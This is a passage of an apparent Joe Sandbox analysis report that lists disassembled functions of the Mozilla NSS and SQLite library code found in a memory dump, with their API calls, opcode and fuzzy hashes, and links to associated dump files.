Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: fc8b0dd239a1676eb4a842de6d7968b871b0e91391df70cb8157ff0c5d03a6e5
Instruction ID: 62c834ca23091e35e5c834bed5940587a6453e991a8232261e6e58a153899686
Opcode Fuzzy Hash: fc8b0dd239a1676eb4a842de6d7968b871b0e91391df70cb8157ff0c5d03a6e5
Instruction Fuzzy Hash: BD210AB1A04300ABD3148B15AC42FAB77B8FB8931CF54053DF959A7741E732D9288796

Function 6CE9CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CE9CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CE9CE16
PR_SetError.NSS3(00000000,00000000), ref: 6CE9D079

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: b67c2b83ac72375ebbb54be745e509164ba01a6ae9a009e5b7fd4c7d528d25b1
Instruction ID: 86a45685b395f29fdbcf14c8d0d8739abbcc59a9fa5399e73f52898021f4d095
Opcode Fuzzy Hash: b67c2b83ac72375ebbb54be745e509164ba01a6ae9a009e5b7fd4c7d528d25b1
Instruction Fuzzy Hash: ABC19CB5A002199BDB20DF24CC80BDAB7B5BF48318F2441A8E94DA7741E775EE95CF90

Function 6CE8DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6CE997C1,?,00000000,00000000,?,?,?,00000000,?,6CE77F4A,00000000), ref: 6CE8DC68

Part of subcall function 6CEB0BE0: malloc.MOZGLUE(6CEA8D2D,?,00000000,?), ref: 6CEB0BF8
Part of subcall function 6CEB0BE0: TlsGetValue.KERNEL32(6CEA8D2D,?,00000000,?), ref: 6CEB0C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE8DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE8DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE8DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE8DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE8DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE8DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE8DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE8DFAA

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: 804bcd4bc8d8993f38100217754ac4dc244b1ee078f2059a6ae1c2fa75e00cbf
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 2781AE79E076038BFB114A59D89076972B2DB6134CF34843BE91ECAFE1D778D684C622

Function 6CE63C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6CE63C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE63C94

Part of subcall function 6CE595B0: TlsGetValue.KERNEL32(00000000,?,6CE700D2,00000000), ref: 6CE595D2
Part of subcall function 6CE595B0: EnterCriticalSection.KERNEL32(?,?,?,6CE700D2,00000000), ref: 6CE595E7
Part of subcall function 6CE595B0: PR_Unlock.NSS3(?,?,?,?,6CE700D2,00000000), ref: 6CE59605

PORT_NewArena_Util.NSS3(00000800), ref: 6CE63CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6CE63CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6CE63CE1

Part of subcall function 6CE63090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE7AE42), ref: 6CE630AA
Part of subcall function 6CE63090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE630C7
Part of subcall function 6CE63090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CE630E5
Part of subcall function 6CE63090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE63116
Part of subcall function 6CE63090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE6312B
Part of subcall function 6CE63090: PK11_DestroyObject.NSS3(?,?), ref: 6CE63154
Part of subcall function 6CE63090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE6317E

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: c3a8fe2b61478bbe9e94070653668d8643b3d685fa5378004a4549043edb0561
Instruction ID: 3656dd430c28aed6d9ad322b56923a7fa5264dce540b072abd490cfa32b34905
Opcode Fuzzy Hash: c3a8fe2b61478bbe9e94070653668d8643b3d685fa5378004a4549043edb0561
Instruction Fuzzy Hash: BD61A4B5A40300ABEB105EA6DC41FA77AB9EF0474CF284568FE099AB52F721D914C7B1

Function 6CEA3D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6CEA3440: PK11_GetAllTokens.NSS3 ref: 6CEA3481
Part of subcall function 6CEA3440: PR_SetError.NSS3(00000000,00000000), ref: 6CEA34A3
Part of subcall function 6CEA3440: TlsGetValue.KERNEL32 ref: 6CEA352E
Part of subcall function 6CEA3440: EnterCriticalSection.KERNEL32(?), ref: 6CEA3542
Part of subcall function 6CEA3440: PR_Unlock.NSS3(?), ref: 6CEA355B

TlsGetValue.KERNEL32 ref: 6CEA3D8B
EnterCriticalSection.KERNEL32(?), ref: 6CEA3D9F
PR_Unlock.NSS3(?), ref: 6CEA3DCA
PR_SetError.NSS3(00000000,00000000), ref: 6CEA3DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CEA3E4F

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

TlsGetValue.KERNEL32 ref: 6CEA3E97
EnterCriticalSection.KERNEL32(?), ref: 6CEA3EAB
PR_Unlock.NSS3(?), ref: 6CEA3ED6
PR_SetError.NSS3(00000000,00000000), ref: 6CEA3EEE

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: aba9b427a472f273d1da20861340e16b2c6c5fbfbfea41259cecc3a8edf18675
Instruction ID: d1eedf41ceb25ff9cc7f2197bbf7fce13c237d2f1a8325241e5197f714954d80
Opcode Fuzzy Hash: aba9b427a472f273d1da20861340e16b2c6c5fbfbfea41259cecc3a8edf18675
Instruction Fuzzy Hash: 4A513475E003019FDB11AFA9D884B6A77B0AF45318F248528DE194BB12EB32E856CB91

Function 6CE52C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(E0CED868), ref: 6CE52C5D

Part of subcall function 6CEB0D30: calloc.MOZGLUE ref: 6CEB0D50
Part of subcall function 6CEB0D30: TlsGetValue.KERNEL32 ref: 6CEB0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CE52C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE52CE0

Part of subcall function 6CE52E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE52CDA,?,00000000), ref: 6CE52E1E
Part of subcall function 6CE52E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CE52E33
Part of subcall function 6CE52E00: TlsGetValue.KERNEL32 ref: 6CE52E4E
Part of subcall function 6CE52E00: EnterCriticalSection.KERNEL32(?), ref: 6CE52E5E
Part of subcall function 6CE52E00: PL_HashTableLookup.NSS3(?), ref: 6CE52E71
Part of subcall function 6CE52E00: PL_HashTableRemove.NSS3(?), ref: 6CE52E84
Part of subcall function 6CE52E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CE52E96
Part of subcall function 6CE52E00: PR_Unlock.NSS3 ref: 6CE52EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE52D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CE52D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CE52D3F
free.MOZGLUE(00000000), ref: 6CE52D73
CERT_DestroyCertificate.NSS3(?), ref: 6CE52DB8
free.MOZGLUE ref: 6CE52DC8

Part of subcall function 6CE53E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE53EC2
Part of subcall function 6CE53E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE53ED6
Part of subcall function 6CE53E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE53EEE
Part of subcall function 6CE53E60: PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE53F02
Part of subcall function 6CE53E60: PL_FreeArenaPool.NSS3 ref: 6CE53F14
Part of subcall function 6CE53E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE53F27

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 094dc605669f90e9d5bbd5501112f8c3a4c4d09237871f9d908a9ee7b801a86a
Instruction ID: 0494c0b530a653e10c5b710b72062653711875b69d45bfe719615ccaa9aa03f4
Opcode Fuzzy Hash: 094dc605669f90e9d5bbd5501112f8c3a4c4d09237871f9d908a9ee7b801a86a
Instruction Fuzzy Hash: 7A51EE72A043119FEB01DE68DC88B6B77F5EFA434CF64042CE85593750E732E8258B92

Function 6CE78F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE78FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE78FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE78FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE79013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE79042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE7905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE79073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE790EC

Part of subcall function 6CE40F00: PR_GetPageSize.NSS3(6CE40936,FFFFE8AE,?,6CDD16B7,00000000,?,6CE40936,00000000,?,6CDD204A), ref: 6CE40F1B
Part of subcall function 6CE40F00: PR_NewLogModule.NSS3(clock,6CE40936,FFFFE8AE,?,6CDD16B7,00000000,?,6CE40936,00000000,?,6CDD204A), ref: 6CE40F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE79111

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: f49506a4e87d9d7d7ac6baa943eceac6030291bbe75f7d27c5cbff2089895391
Instruction ID: 5c95c62cfc18e468d21bd291dd5f590397f6fda1ab65d0b7ae83af03b22df851
Opcode Fuzzy Hash: f49506a4e87d9d7d7ac6baa943eceac6030291bbe75f7d27c5cbff2089895391
Instruction Fuzzy Hash: DF5199B5A142058FCB50EF38C4C8399BBF1BF0A318F265569DC449B716EB31E885CBA1

Function 6CE57CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE540D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CE53F7F,?,00000055,?,?,6CE51666,?,?), ref: 6CE540D9
Part of subcall function 6CE540D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CE51666,?,?), ref: 6CE540FC
Part of subcall function 6CE540D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CE51666,?,?), ref: 6CE54138

PR_GetCurrentThread.NSS3 ref: 6CE57CFD

Part of subcall function 6CF19BF0: TlsGetValue.KERNEL32(?,?,?,6CF60A75), ref: 6CF19C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6CF79030), ref: 6CE57D1B

Part of subcall function 6CEAFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CE51A3E,00000048,00000054), ref: 6CEAFD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6CF79048), ref: 6CE57D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CE57D50
PR_GetCurrentThread.NSS3 ref: 6CE57D61
PORT_ArenaMark_Util.NSS3(?), ref: 6CE57D7D
free.MOZGLUE(?), ref: 6CE57D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6CE57DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6CE57E19

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 1d40c067099ea31ed6c21ed2e6c1c7971d531c979142ab6152ec71a557b7b91b
Instruction ID: 0734f3ceae9b17b31603d80e1832c7db92036a55576935ea47d3419f91fd6b3e
Opcode Fuzzy Hash: 1d40c067099ea31ed6c21ed2e6c1c7971d531c979142ab6152ec71a557b7b91b
Instruction Fuzzy Hash: D3410772A1011A9BDB008F699C41BAF33F4AF4225CF654028EC05A7B50EB32ED39C7A1

Function 6CE67EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6CE680DD), ref: 6CE67F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6CE680DD), ref: 6CE67F36
free.MOZGLUE(?,?,?,6CE680DD), ref: 6CE67F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6CE680DD), ref: 6CE67F5D
DeleteCriticalSection.KERNEL32(?,6CE680DD), ref: 6CE67F94
free.MOZGLUE(?), ref: 6CE67F9B
PR_SetError.NSS3(FFFFE08B,00000000,6CE680DD), ref: 6CE67FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6CE680DD), ref: 6CE67FE6
free.MOZGLUE(?,6CE680DD), ref: 6CE6802D

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: 03b556ddaafa49d37876ef867702d60cdd468436a301a2e674fea9486b578542
Instruction ID: 9f21f1b993bc11bc915fd9c0638ea8b8dbf66468219765a5dbc5c74f8ee2818a
Opcode Fuzzy Hash: 03b556ddaafa49d37876ef867702d60cdd468436a301a2e674fea9486b578542
Instruction Fuzzy Hash: 6B4147B0F601009BDB909FBA98C9B4A77B9AB47358F36022DE51D93F40D732D409CB94

Function 6CEAFEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEAFF00

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6CEAFF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CEAFF26
PORT_ArenaMark_Util.NSS3(?), ref: 6CEAFF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CEAFF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CEAFF8C

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 17a0e2a8c29baac355eff19f9a0d8eab79b82715d02230ab3f2935273cbc5a4f
Instruction ID: 6febeaf5dbc6abe9b2d558ad3d97e18c46af4fcf9a3bbe47a7c3b8563671c1df
Opcode Fuzzy Hash: 17a0e2a8c29baac355eff19f9a0d8eab79b82715d02230ab3f2935273cbc5a4f
Instruction Fuzzy Hash: 393104FA9013529FE7108F948942B6A76B8AF4A35CF350139ED18ABB40E730E906C7D1

Function 6CDF7D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDF7E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDF7E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6CDF7EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDF7F2E

Strings

%s at line %d of [%.10s], xrefs: 6CDF7EE7, 6CDF7F28
database corruption, xrefs: 6CDF7EE2, 6CDF7F23
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDF7ED8, 6CDF7F08, 6CDF7F19

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: a02d2c712109095c6cf0c2014fc4199c625377854eafb5666566be00c08d7530
Instruction ID: 9882e8901179bd720b45d7577bb42f0fb3da737c48b32ab978962af68ae1030c
Opcode Fuzzy Hash: a02d2c712109095c6cf0c2014fc4199c625377854eafb5666566be00c08d7530
Instruction Fuzzy Hash: CE61B270A04206EFDB05CF25D890BEA77B2BF45318F1645A9EC294BB61D731EC56CBA0

Function 6CDDFCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDDFD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDDFD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDDFE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDDFE83

Part of subcall function 6CDDFEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6CDDFEFA
